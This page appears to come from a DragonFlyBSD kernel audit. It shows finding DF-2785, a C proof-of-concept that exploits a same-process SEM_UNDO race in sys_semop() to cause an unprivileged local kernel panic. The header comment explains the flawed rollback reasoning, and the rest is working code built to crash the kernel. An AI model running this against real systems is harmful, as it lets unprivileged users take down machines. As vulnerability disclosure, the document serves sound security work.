DragonFlyBSD Kernel Audit
DF-2785 / undo_race_panic.c
← back to finding ↓ download raw
/*
 * DF-2785 - reachable panic("semop - can't undo undos") via a
 * same-process SEM_UNDO race in sys_semop().
 *
 * sys/kern/sysv_sem.c:998-1006 rolls back undo adjustments in reverse
 * order and panics if a rollback adjust fails.  The comment claims the
 * reverse order "guarantees that we won't run out of space" - that
 * proof is only valid single-threaded.  semundo_adjust() entries are
 * keyed by (semid, semnum) and shared by every thread of a process,
 * so a sibling thread can re-fill the undo table (un_cnt == semume ==
 * 25) inside the window between the victim's adjustments.
 *
 * Construction (victim thread A + churn threads C share p_sem_undo):
 *   Setup creates 25 persistent filler entries (adjval == -1) so the
 *   table sits full at un_cnt == 25.
 *   Each C cycle dips the table: {f,-1,UNDO} removes filler entry f
 *   (adjust +1 zeroes adjval; un_cnt 25 -> 24), then {f,+1,UNDO}
 *   re-creates it (un_cnt -> 25).  Net-zero per cycle.
 *   A's vector (4 ops): {w,+1,UNDO} {w,-1,UNDO} {x,+1,UNDO} {x,-1,UNDO}
 *     adjust#0 creates entry(w) (needs a free slot),
 *     adjust#1 removes it again (net effect zero),
 *     adjust#2 wants a fresh slot for entry(x).
 *   A entering at un_cnt == 25 -> adjust#0 fails (harmless, i == 0).
 *   A entering during a dip (24) with C re-filling between A's
 *   adjust#1 and adjust#2 -> adjust#2 fails at i == 2; the rollback
 *   then re-adjusts sops[1] (w,-1): entry(w) is absent *by
 *   construction* and the table is full again ->
 *   semundo_adjust returns EINVAL -> panic("semop - can't undo undos").
 *
 * Unprivileged local kernel panic (DoS).  Expected result: guest
 * panics; serial console shows the panic string.
 */
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

#define NWORK	8		/* working keys 0..7 (victim) */
#define NFILL	25		/* filler keys 8..32 (churn) */
#define NSEMS	(NWORK + NFILL)
#define FILL0	8

static int id;
static volatile unsigned long iter_a, err_a, iter_c;

static void *
victim(void *arg __unused)
{
	unsigned int k = 0;

	for (;;) {
		int w = k % NWORK;
		int x = (k * 7 + 3) % NWORK;
		struct sembuf sops[4] = {
			{ w,  1, SEM_UNDO },
			{ w, -1, SEM_UNDO },
			{ x,  1, SEM_UNDO },
			{ x, -1, SEM_UNDO },
		};
		k++;
		if (semop(id, sops, 4) < 0)
			err_a++;	/* EINVAL when table full at #0/#2 */
		if ((++iter_a & 0x3fffff) == 0) {
			printf("victim : %lu iters, %lu errors\n",
			       iter_a, err_a);
			fflush(stdout);
		}
	}
	return NULL;
}

static void *
churn(void *offset)
{
	unsigned int off = (unsigned int)(unsigned long)offset;
	unsigned int k = 0;

	for (;;) {
		int f = FILL0 + ((off + k++) % NFILL);
		struct sembuf downU = { f, -1, SEM_UNDO }; /* remove entry */
		struct sembuf upU =   { f,  1, SEM_UNDO }; /* re-create    */

		(void)semop(id, &downU, 1);
		(void)semop(id, &upU, 1);
		if ((++iter_c & 0x3fffff) == 0) {
			printf("churn  : %lu cycles\n", iter_c);
			fflush(stdout);
		}
	}
	return NULL;
}

int main(void)
{
	pthread_t ta, tc, tc2;
	int f;

	id = semget(IPC_PRIVATE, NSEMS, 0600);
	if (id < 0) {
		perror("semget");
		return 1;
	}

	/* Fill the undo table: 25 persistent filler entries (adjval -1) */
	for (f = FILL0; f < FILL0 + NFILL; f++) {
		struct sembuf up = { f, 1, SEM_UNDO };
		if (semop(id, &up, 1) < 0) {
			perror("filler setup");
			return 1;
		}
	}
	printf("table pre-filled with %d filler entries; "
	       "racing (expect panic: \"semop - can't undo undos\") ...\n",
	       NFILL);
	fflush(stdout);

	pthread_create(&ta, NULL, victim, NULL);
	pthread_create(&tc, NULL, churn, (void *)(unsigned long)0);
	pthread_create(&tc2, NULL, churn, (void *)(unsigned long)13);
	pthread_join(ta, NULL);
	return 0;
}